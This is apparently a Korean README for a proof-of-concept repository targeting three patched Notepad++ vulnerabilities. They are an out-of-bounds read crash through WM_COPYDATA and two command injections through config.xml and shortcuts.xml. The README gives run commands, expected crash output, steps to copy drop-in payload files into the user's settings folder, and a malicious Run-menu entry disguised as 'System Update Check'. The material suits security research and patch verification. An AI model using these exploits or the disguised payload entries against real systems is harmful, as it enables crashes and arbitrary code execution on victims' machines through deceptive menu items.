
Notepad++ <= 8.9.6의 세 가지 취약점에 대한 개념 증명 스크립트, v8.9.6.1(2026-05-26)에서 패치됨 CVE-2026-48770 / CVE-2026-48778 / CVE-2026-48800
CVE-2026-48770 / CVE-2026-48778 / CVE-2026-48800
Notepad++ <= 8.9.6에서 발견된 세 가지 취약점에 대한 개념 증명 스크립트이며, v8.9.6.1 (2026-05-26)에서 패치되었습니다.

| CVE | 유형 | CVSS | 영향 |
|---|---|---|---|
| CVE-2026-48770 | WM_COPYDATA를 통한 OOB 읽기 | 5.0 | DoS / 충돌 |
| CVE-2026-48778 | config.xml을 통한 OS 명령 삽입 | 7.8 | RCE |
| CVE-2026-48800 | shortcuts.xml을 통한 OS 명령 삽입 | 7.8 | RCE |
.py 스크립트용).ps1 스크립트용).
├── README.md
├── poc_CVE-2026-48770.py # OOB read crash (ctypes)
├── poc_CVE-2026-48778.py # RCE via config.xml
├── poc_CVE-2026-48800.py # RCE via shortcuts.xml
└── payloads/
├── config.xml # Drop-in payload (CVE-2026-48778)
├── shortcuts.xml # Drop-in payload (CVE-2026-48800)
└── poc_CVE-2026-48770.ps1 # OOB read crash (PowerShell)
동일한 Windows 세션의 로컬 프로세스가 NUL 종결자가 없는 조작된 WM_COPYDATA 메시지(dwData=3)를 보냅니다. 핸들러가 버퍼 경계를 넘어 읽어 액세스 위반(0xc0000005)을 발생시키며 Notepad++가 충돌합니다.
트리거: Notepad++가 열려 있어야 합니다.
PowerShell:
# From payloads\
powershell -ExecutionPolicy Bypass -File poc_CVE-2026-48770.ps1
Python:
python poc_CVE-2026-48770.py
예상 출력:
[+] Found Notepad++ HWND: 0x000A08B4
[*] Sending malformed WM_COPYDATA (dwData=3, cbData=8192, no NUL terminator)...
[+] SendMessageTimeout returned 0 - Notepad++ likely crashed (OOB read -> 0xc0000005)
Notepad++ 창이 사라집니다. WER(Windows 오류 보고)이 트리거될 수 있습니다.
시작 시 %APPDATA%\Notepad++\config.xml을 읽습니다. <GUIConfig name="commandLineInterpreter"> 값은 유효성 검사 없이 ShellExecute()에 직접 전달됩니다. 사용자가 파일 → 포함 폴더 열기 → cmd를 클릭하면 이 값을 실행 파일로 교체하여 RCE를 달성합니다.
# Inject (backs up original automatically)
python poc_CVE-2026-48778.py --mode direct --payload calc.exe
# Trigger: open Notepad++ -> File -> Open Containing Folder -> cmd
# calc.exe launches instead of cmd.exe
# Restore
python poc_CVE-2026-48778.py --mode direct --restore
copy payloads\config.xml %APPDATA%\Notepad++\config.xml
# Open Notepad++ -> File -> Open Containing Folder -> cmd
python poc_CVE-2026-48778.py --mode settingsdir --payload calc.exe
# Prints the notepad++.exe -settingsDir= launch command
# Trigger: File -> Open Containing Folder -> cmd
시작 시 %APPDATA%\Notepad++\shortcuts.xml을 읽습니다. <UserDefinedCommands> 아래의 <Command> 항목이 실행 메뉴에 추가되고 유효성 검사 없이 ShellExecute()에 직접 전달됩니다. 공격자가 제어하는 항목은 클릭 시 실행됩니다.
# Inject (backs up original automatically)
python poc_CVE-2026-48800.py --mode direct --payload calc.exe --name "System Update Check"
# Trigger: close and reopen Notepad++ -> Run menu -> "System Update Check"
# calc.exe launches
# Restore
python poc_CVE-2026-48800.py --mode direct --restore
copy payloads\shortcuts.xml %APPDATA%\Notepad++\shortcuts.xml
# Restart Notepad++ -> Run menu -> "System Update Check"
python poc_CVE-2026-48800.py --mode settingsdir --payload calc.exe
# Prints the notepad++.exe -settingsDir= launch command
# Trigger: Run menu -> "System Update Check"
Notepad++를 v8.9.6.1 이상으로 업데이트하세요.
다운로드: https://notepad-plus-plus.org/downloads/
| CVE | 권고 |
|---|---|
| CVE-2026-48770 | GHSA-r39g-3mcw-xcg2 |
| CVE-2026-48778 | GHSA-7hm3-wp5q-ccv9 |
| CVE-2026-48800 | GHSA-3x3f-3j39-pj3v |
연구 및 승인된 테스트 목적으로만 사용하십시오.